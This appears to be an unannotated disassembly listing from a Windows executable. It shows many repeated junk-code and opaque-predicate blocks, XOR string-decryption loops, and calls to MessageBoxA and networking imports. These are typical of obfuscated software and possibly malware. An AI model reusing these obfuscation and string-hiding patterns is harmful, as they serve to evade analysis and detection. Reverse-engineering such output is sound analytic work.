movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xc445df6e
mov dword [rbp + 0xbec], 0x5f414b76
mov dword [rbp + 0xbf0], 0xd3468cdc
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400238b8
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x140015878
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140001478
mov rax, qword gs:[0x48]
cmp rax, r13
mov esi, 0xb505ee60
jne 0x140015975
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015955
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015955
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015975
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140015a1f
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400159ff
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400159ff
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015a1f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
lea rcx, [rbp + 0x9f8]
call fcn.140013e94
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140001588
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.1400249d4
lea rcx, [rbp + 0x9f8]
call fcn.140024910
lea rcx, [rbp + 0x9f8]
call fcn.140001a98
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140015b26
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015b06
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015b06
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015b26
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140015bdf
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015bbf
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015bbf
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015bdf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov dword [rbp - 0x68], 0x93caef1
mov word [rbp - 0x64], 0x2268
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140023840
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x140015bfe
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0x93cbce8
mov word [rbp - 0x54], 0x2268
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
mov esi, 0xb505ee60
movabs r14, 0x1a2e6bfe8
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140023840
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x140015c51
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140024c44
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14002461c
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140024770
lea rcx, [rbp - 0x68]
call fcn.1400015e0
mov rcx, rax
call fcn.140001588
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14002445c
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140024770
lea rdx, [0x1400d63e0]
lea rcx, [rbp + 0xa78]
call fcn.14002461c
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140024770
lea rcx, [rbp + 0xa78]
call fcn.140024910
lea rcx, [rbp + 0xa78]
call fcn.140001a98
lea rcx, [rbp + 0xa58]
call fcn.140024910
lea rcx, [rbp + 0xa58]
call fcn.140001a98
lea rcx, [rbp + 0xa38]
call fcn.140024910
lea rcx, [rbp + 0xa38]
call fcn.140001a98
mov rax, qword gs:[0x48]
cmp rax, r13
movabs r14, 0xea6d55ec6d6fb000
jne 0x140015e06
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015de6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015de6
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015e06
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140015eb0
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015e90
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015e90
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015eb0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
lea rcx, [rbp + 0x1208]
call fcn.140024284
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14008a6a0
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140015f83
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015f63
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015f63
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015f83
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001602d
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001600d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001600d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001602d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140001530
lea rcx, [rbp + 0x10e8]
call fcn.1400249ac
nop
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400160f4
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400160d4
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400160d4
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400160f4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400161ad
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001618d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001618d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400161ad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
lea rcx, [rbp + 0x11e8]
call fcn.140024284
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.1400139fc
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016278
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016258
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016258
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016278
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov dword [rbp + 0x1e0], 0xdf4c4edf
mov dword [rbp + 0x1e4], 0xe7bd7336
mov dword [rbp + 0x1e8], 0xd051cdc9
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs r14, 0x1a2e6bfe8
mov qword [rsp + 0x20], r14
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400237c8
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x1400162ab
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140024f60
mov r12d, reloc.WS2_32.dll_recvfrom
test al, al
movabs r14, 0xea6d55ec6d6fb000
je 0x14001688c
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400163bb
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001639b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001639b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400163bb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8bc0]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x240fb142
mov word [rbp + 0x7cc], 0x462f
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.1400236dc
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x1400163f3
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400c8b40]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400c89f0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400c8cc0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400c8c70]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400c8b20]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400c8d00]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400c8ab0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400c8b30]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x1106bfec
mov word [rbp + 0xde4], 0xa23d
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov esi, 0xb505ee60
movabs r14, 0x1a2e6bfe8
mov qword [rsp + 0x20], r14
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140023750
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x1400164db
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0x48]
cmp rcx, r13
movabs r14, 0xea6d55ec6d6fb000
jne 0x1400165eb
mov rcx, qword gs:[0]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400165cb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400165cb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400165eb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400166a6
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016686
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016686
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400166a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
cmp edi, 7
je 0x14002344e
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016759
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016739
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016739
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016759
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ad0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400c8b50]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400c89a0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140023668
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140016796
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.14008dbcc
mov rax, qword gs:[0x48]
cmp rax, r13
mov esi, 0xb505ee60
jne 0x14001688c
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001686c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001686c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001688c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
mov edi, 0x3e9025c8
cmp rax, r13
jne 0x140016949
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016929
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016929
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016949
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.1400247cc
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140013fdc
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.1400246a8
lea rcx, [rbp + 0xab8]
call fcn.140024910
lea rcx, [rbp + 0xab8]
call fcn.140001a98
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016a3c
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016a1c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016a1c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016a3c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016af5
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016ad5
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016ad5
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016af5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140024980
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016bad
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016b8d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016b8d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016bad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016c66
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016c46
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016c46
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016c66
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.14008e03c
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x48]
cmp rcx, r13
jne 0x140016d32
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016d12
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016d12
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016d32
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016ddc
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016dbc
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016dbc
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016ddc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x48]
mov ebx, 0xb505ee60
cmp rax, r13
jne 0x140016e92
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016e72
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016e72
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016e92
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
test rsi, rsi
je 0x140023134
cmp qword [rbp + 0x10f8], r15
je 0x140023134
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140016f5c
mov rax, qword gs:[0]
movabs rcx, 0xea6d55ec6d6fb000
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016f3c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016f3c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016f5c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140024284
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400ac230
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001703a
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
